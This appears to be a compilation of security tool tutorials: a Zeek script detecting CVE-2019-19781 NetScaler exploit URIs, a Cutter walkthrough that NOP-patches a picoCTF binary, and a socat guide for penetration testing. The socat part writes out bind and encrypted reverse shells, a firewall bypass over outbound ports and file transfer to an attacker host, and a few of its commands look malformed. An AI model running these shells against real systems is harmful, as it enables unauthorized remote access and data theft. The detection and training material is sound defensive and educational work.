Using the tool

Zeek, formally known as bro, is a high-level packet analysis program. It originally began development in the 1990s and has a long history. It does not directly intercept or modify traffic, rather it passively observes it and creates high-level network logs. It can be used in conjunction with a SIEM to allow quick analysis. It can operate in realtime to create logs of a currently active system, or as a post-mortem analysis tool of a packet capture. This tool can also operate with pf_ring to increase network capture performance due to a well-supported plugin.

Creating a script

While zeek does have some good documentation online, it is definitely lacking in any sort of tutorial-based content for beginners. This is especially true for anyone who wants to try their hand at using zeek scripting language to create a custom plugin.

A simplified understanding of what a signature detection based zeek plugin has to do is:

1. Define the log format and alert types for the plugin
2. Define the signatures for detection
3. Initialize zeek to include a new LogStream
4. Create an event listener that matches your packets protocol

CVE-2019-19781 signatures

Between the patterns defined in this yara rule and the us-cert alert a pattern can be constructed. In this case, the following regex patterns will be used to match malicious URIs:

.*\/\.\.\/vpns\/.*
.*\/vpns\/.*
.*\/vpns\/cfg\/smb.conf
.*\/vpns\/portal\/scripts\/newbm\.pl.*
.*\/vpns\/portal\/scripts\/rmbm\.pl.*
.*\/vpns\/portal\/scripts\/picktheme\.pl.*

Importing necessary protocols and defining the module

Here we define the module as NETSCALARD, although a CVE number would have been just as appropriate.

@load base/protocols/http
@load base/frameworks/notice

module NETSCALARD;

Defining log file

To define the log file there needs to be a log identifier, in this case a NETSCALARD::LOG is used, and a record entry for how the data should be recorded into the file.

export {
    ## The logging stream identifier.
    redef enum Log::ID += { LOG };

    ## The record type which contains column fields of the certificate log.
    type Info: record {
        src:         addr   &log;
        dst:         addr   &log;
        ## Timestamp when this record is written.
        ts:          time   &log;
        ## URI of request
        URI:         string &log;
    };
    # cont.
}

Defining notice type

Zeek allows plugins to define a different Notice type that can be used when generating emails. There are a lot of pre-defined notices that can be used and they are indexed here.

export {
    # cont.
    redef enum Notice::Type += {
        Netscalar_Attack,
    };
    # cont.
}

Defining signatures

Zeek provides a pattern type that can be used to quickly define multiple regex patterns. The language also has some pattern specific operations such as in which can check if a pattern is found in a string.

export {
    # cont.
    const match_bad_signatures =
          /.*\.\.\/vpns\/.*/
        | /.*vpns\/cfg\/smb.conf/
        | /.*vpns\/portal\/scripts\/newbm\.pl/
        | /.*vpns\/portal\/scripts\/rmbm\.pl/
        | /.*vpns\/portal\/scripts\/picktheme\.pl/ &redef;
}

Initializing Zeek

When initializing zeek there are a few different methods of recording events. In this case a dedicated log file was chosen. To create this log stream based on the log specifications Log::create_stream can be used.

event zeek_init() &priority=3 {
    Log::create_stream(NETSCALARD::LOG, [$columns=Info, $path="netscalard-attacks"]);
}

Creating an event listener

The netscalard exploit uses a POST request to one of the defined bad URIs. To effectively match this pattern and not cause encumberance with checking every request the code will quickly return from packets that are not a POST request, or that don’t meet one of the defined signatures. The remaining packets, the malicious packets, can be recorded. To record the attack the code creates a notice that will be placed in notice.log as well as a dedicated log entry for the netscalard-attacks log file.

event http_request(c: connection, method: string, original_URI: string,
        unescaped_URI: string, version: string) &priority=3 {

    if (!( method == "POST" ))
        return;

    if (!( match_bad_signatures in unescaped_URI ))
        return;

    NOTICE([
        $note=Netscalar_Attack,
        $msg=fmt("Netscalar attack attempt made by (%s) against (%s)", c$id$orig_h, c$id$resp_h),
        $sub=cat(c$id$orig_h,c$id$resp_h,unescaped_URI)
    ]);

    Log::write(
        NETSCALARD::LOG,
        Info(
            $src=c$id$orig_h,
            $dst=c$id$resp_h,
            $ts=network_time(),
            $URI=unescaped_URI
        )
    );
}

Output

After running this script against the local interface for testing with the following command:

sudo zeek -C -i lo ../detect-netscalard.zeek

There are some log files generated. Once a malicious packet has been detected, in this case triggered from a curl command, then a new notice.log file and netscalard-attacks.log will be generated. The notices file can be fed into zeek-cut to extract the important information.

> $ cat notice.log | zeek-cut -d note msg
NETSCALARD::Netscalar_Attack    Netscalar attack attempt made by (127.0.0.1) against (127.0.0.1)
NETSCALARD::Netscalar_Attack    Netscalar attack attempt made by (127.0.0.1) against (127.0.0.1)
NETSCALARD::Netscalar_Attack    Netscalar attack attempt made by (127.0.0.1) against (127.0.0.1)
NETSCALARD::Netscalar_Attack    Netscalar attack attempt made by (127.0.0.1) against (127.0.0.1)
NETSCALARD::Netscalar_Attack    Netscalar attack attempt made by (127.0.0.1) against (127.0.0.1)

> $ cat netscalard-attacks.log
#fields src dst ts  URI
#types  addr    addr    time    string
127.0.0.1   127.0.0.1   1593933273.086046   /vpns/portal/scripts/newbm.pl
127.0.0.1   127.0.0.1   1593933273.486067   /vpns/portal/scripts/newbm.pl
127.0.0.1   127.0.0.1   1593933273.799568   /vpns/portal/scripts/newbm.pl
127.0.0.1   127.0.0.1   1593933274.093156   /vpns/portal/scripts/newbm.pl
127.0.0.1   127.0.0.1   1593933274.371653   /vpns/portal/scripts/newbm.pl
#close  2020-07-05-17-14-46

Using this plugin post-mortem analysis can also be performed. An example command for this is shown below:

sudo zeek ../detect-netscalard.zeek -r packetcapture.pcap

Introduction to Cutter

Cutter is a Graphical User Interface (GUI) built around the long-lived radare2 disassembler. The largest problem with radare2 is it's usability. Whilst radare is efficient to use once mastered, it has many problems for first time users. Running pdf to ‘print disassembled function’ or aaa to analyze and auto-name all functions might seem intuitive to long time users but the tools overall lack of user-friendly guides has seen stunted usage growth.

Cutter has succeeded in porting radare's fantastic capability into a graphical interface that can compete with the likes of Hopper, IDA, BinaryNinja and Ghidra all while remaining completely free. It also has the added benefit of being multi-platform.

The General Interface

Opening a Binary

When Cutter first launches up you are presented with the below menu that provides a short history of previously opened files, as well as a way to select files from disk.

Analysis level

In radare2, there are different analysis levels that can be appropriate for different circumstances. Since most CTF binaries are usually relatively small, the default option works fine.

Getting a graph view

Once inside the Cutter project view, the differing panes allow you to see quickly the different parts of the code, and all panes can be resized, moved or closed at will. One of these views in particular, the graph view, is very reminiscent of BinaryNinja and contains the logical flow of the program. When clicking through the different functions in the functions panel the hexdump, dissassembly, decompiler and graph view will all be updated in real time. My personal favourite when trying to figure out different sections of the code is to have the functions on the left, graph view in the middle and Decompiler on the right.

Completing a basic PicoCTF Challenge

To show the basic functionality and usage of the tool I will quickly run through a picoCTF reversing challenge from 2018 titled “be quick or be dead 1”.

Executing the binary

The first step is to investigate the binary to see what file type it is, and then execute it.

Since this is an ELF binary I can run it in my linux environment after giving it the executable flag with chmod +x be-quick-or-be-dead.

Opening it with Cutter

Now that we know the binary has some sort of check preventing us from receiving the flag, we can open it up with cutter.

When opening it I use the default analysis level.

Once cutter is open we are greeted with a lot of information. From this default view we can quickly see some functionality that would be useful. On the left side of the screen we can see all the defined functions in the binary, such as main and print_flag. In the center we can see some useful information about the binary, such that it is an ELF binary. At the bottom we can see the different tab views available to use for analysing the binary.

Analysing the function calls

The first thing we want to is analyse the main function. We can access the main function in the graph view simply by double clicking the main function in the function listing panel. This reveals the graph view of the main function, normally the graph view would show different branches but the main function simply calls four different functions then exits.

We can see the four different functions, and we can jump to each of their definitions by double clicking them.

In this case I clicked the print flag function since it seems like the obvious choice.

Unfortunately we notice that there is a decrypt_flag function that is run, which probably relates to the main functions invocation of get_key. Since this function has no checks that would cause the binary to fail I decide to take a different approach. When the binary initially ran it printed a message saying that a faster machine was needed, so I decided to look at the strings and see if I could locate the message.

This turned out to be a good choice as we can located the string and it’s address very easily.

By pressing x while highlighting this string, or right-clicking and choosing show X-refs (cross-references) we can see were this string is used in the code. In this case, it is used in a mov instruction in the alarm_handler function.

Looking at this function we can see that it calls puts on our string, and then immediately exits. We can find where this function is referenced by going to the functions panel on the left and pressing x again, or right-clicking and choosing show X-refs. This will lead us closer to our culprit. In this case we can see that the function is only referenced in the set_timer function.

We can now try to understand the functionality of the set timer function to figure out why our program ends abruptly. We can also see cutters branching come into play in this function as it uses a jne (Jump if not equal) instruction to see if an error code is raised after calling __sysv_signal.

Now that we have found our culprit function, we can look into how exactly it works. A useful tool when trying to figure out the functionality of some machine code is a decompiler. Cutter actually comes with a C++ rewrite of the Ghidra decompiler, as well as it’s own retdec. We can enable this decompiler view by going to the top bar and clicking Windows -> Decompiler.

This decompiler view allows us to more readily understand the set_timer function.

We cab see that the function has two significant system calls, one to __sysv_signal and the other to alarm. To understand these functions I like to use man pages.

The two pages I used for this analysis are:

• Man Page for signal
• Man Page for alarm

From this I was able to infer three important pieces of information.

__sysv_signal is used to set a function to be called when a specific signal is sent inside the binary.

0xe, or 14, refers to SIGALRM.

alarm will send SIGALRM after a given number of seconds.

So in this case the function will:

• Set alarm_handler to run when the binary sends SIGALRM
• Set the binary to send SIGALRM after 1 second.

So by removing the call to alarm from the binary, alarm_handler should never be hit and the binary should finish running as expected.

Patching the binary with NOPs

When patching the binary it is important to remember that you are changing the binary on disk, and that it is wise to create copies of the binary in it’s original state. What we want to do in this case is change the call to alarm to a NOP (No Operation) instruction so that the binary will not terminate prematurely. We can do this by right clicking the call to alarm in either the disassembly, graph or decompiler view and choosing Edit -> Nop Instruction. I personally recommend doing this through the graph or disassembly view to ensure the correct instruction is NOP’d.

Getting the flag

Now that alarm is never being called, we can shut down cutter and run the binary and we should get the flag.

There are definitely a couple other ways we could have done solved this challenge and some unanswered questions.

• Why was the binary taking so long to run?
• What happens if we NOP the call to set_alarm?
• Can we use a debugger to ignore SIGALRM? (GDB will do this by default).

All in all Cutter is a solid tool that is built on a well maintained project and it should see continual improvements into the future.

socat is a general-purpose networking tool that allows the creation of two bidirectional streams. It has a large amount of support for different protocols and data sources, including OPENSSL, SOCKS4, TCP, UDP, TAP, SCTP and more. When performing a penetration test this tool can be leveraged to bypass basic firewall restrictions and transfer files across the network.

Statically compiled socat

There is a cool project called static-toolbox which provides statically compiled networking and debugging tools. This project includes a statically compiled versions of socat for x86/x86_64 and allows the tool to have a lot more portability between differing Linux distributions and major library versions for a small cost of ~2MB.

Simple Listening Shell

On the client run:

socat TCP-LISTEN:8080 exec:"bash -i",pty,stderr,setsid,sigint,sane

On the attacker machine run

socat - TCP:$clientip:8080
#or
nc $clientip:8080

This shell works great, but there are two obvious problems:

• - The IP will be listening for any connection
• - The firewall might block non-default ports (such as 8080)

We can get around this by using the outbound technique that I will show later.

Simple File Transfer

There are two methods of doing file transfers:

• - Opening a listening port and waiting for the file
• - Opening a listening port to send the file

Overall, the better of these two methods is when a client connects to a listening port to download a file, as this is less likely to be blocked by firewalls. To do this you need to run these two commands.

On the attacker:

socat file:secretfile TCP-LISTEN:8080

On the client:

socat TCP:$attackerip:8080 OPEN:/tmp/secretfile,create

Encrypted Listening Shell

We can generate an encrypted reverse shell with client and server keys to allow only our chosen attacker machine to connect to the server.

# Find more detailed steps at:
#   http://www.dest-unreach.org/socat/doc/socat-openssl.txt
openssl genrsa -out server.key 2048
openssl genrsa -out client.key 2048

# IMPORTANT: When generating the server.crt it will 
#   ask for a "commnonName", make sure this is the 
#   same as your attacker's hostname!
openssl req -new -key server.key -x509 -days 3653 -out server.crt
openssl req -new -key client.key -x509 -days 3653 -out client.crt

cat server.key server.crt > server.pem
cat client.key client.crt > client.pem

rm {server,client}.key

chmod 600 server.pem client.pem

#Server.pem is on the host.
#Client.crt is on the host.
#On the host run:
socat OPENSSL-LISTEN:1443,reuseaddr,fork \
                         ,cert=server.pem,cafile=client.crt,verify=1 \
    exec:'bash -i',pty,stderr,setsid,sigint,sane

#Server.crt is on the client
#Client.pem is on the client.
#On the client run:
socat \
    OPENSSL:localhost:1443,verify=1,cert=client.pem,cafile=server.crt -

socat reverse shell

Sometimes the network will be configured in such a way that only certain ports will be able to host a listening service, such as 80 and 443 on a web host for example. In this case, unless we have sudo privileges, establishing a listening shell with socat is not possible. To mitigate this we can instead forward a shell or service through an outbound connection. We can also establish a PTY shell in a similar fashion

On the attacker machine run:

sudo socat -d TCP-LISTEN:80 TCP-LISTEN:-

On the client run:

socat -d exec:"bash -i",pty,stderr,setsid,sigint,sane

sudo socat -d TCP-LISTEN:80,fork,reuseaddr TCP-LISTEN:10023

On the client run:

socat -d TCP:localhost:22 TCP::80

This will allow you to connect to the service (In this case SSH) by connecting to local port 10023.

ssh root@localhost -P 10023
#or
curl http://localhost:10023

socat encrypted reverse shell

On the attacker machine we create a listening port, it will wait for a connection from our client on port 80 and then allow us to interact with it from stdin.

sudo socat -d \
    OPENSSL-LISTEN:80,reuseaddr,fork,\
    cert=server.pem,cafile=client.crt,verify=1 -

On the client machine we need to run:

socat exec:"bash -i",pty,stderr,setsid,sigint,sane \
      OPENSSL:localhost:80,verify=1,cert=client.pem,cafile=server.crt

Forwarding a service through an encrypted outbound connection

After following the key generation steps listed in the encrypted reverse shell section we can wrap our outbound reverse shell in openssl using the following commands.

On the attacker machine we need to run:

sudo socat -d \
    OPENSSL-LISTEN:80,reuseaddr,fork,\
    cert=server.pem,cafile=client.crt,verify=1 \
    TCP-LISTEN:10023,reuseaddr,fork

On the client machine we need to run:

socat TCP:localhost:22 \
      OPENSSL:localhost:80,verify=1,cert=client.pem,cafile=server.crt

Finally, we can create a connection by running the final connect command on the attacker machine.

ssh root@localhost -P 10023
#or
curl http://localhost:10023

Forwarding packets through a web proxy with socat

Sometimes a service or program will not allow the user to set a HTTP proxy. For example, if you wanted to inspect the HTTP connections a browser is making but the proxy settings are broken. The command to do so follows the general form:

socat TCP-LISTEN:$lstport \
    PROXY:$proxyip:$dstip:$dstport,proxyport=$proxyport

socat TCP-LISTEN:8000 PROXY:localhost:google.com:80,proxyport=8080

In your browser you would point to http://localhost:8000 and it would be redirected to the end server (http://google.com) through the proxy running on port 8080. This would allow you to set up BurpSuite and use it to inspect packets without having to set proxy configurations in the actual browser. This becomes especially applicable in reversing a programs protocol where it does not allow you to set a proxy.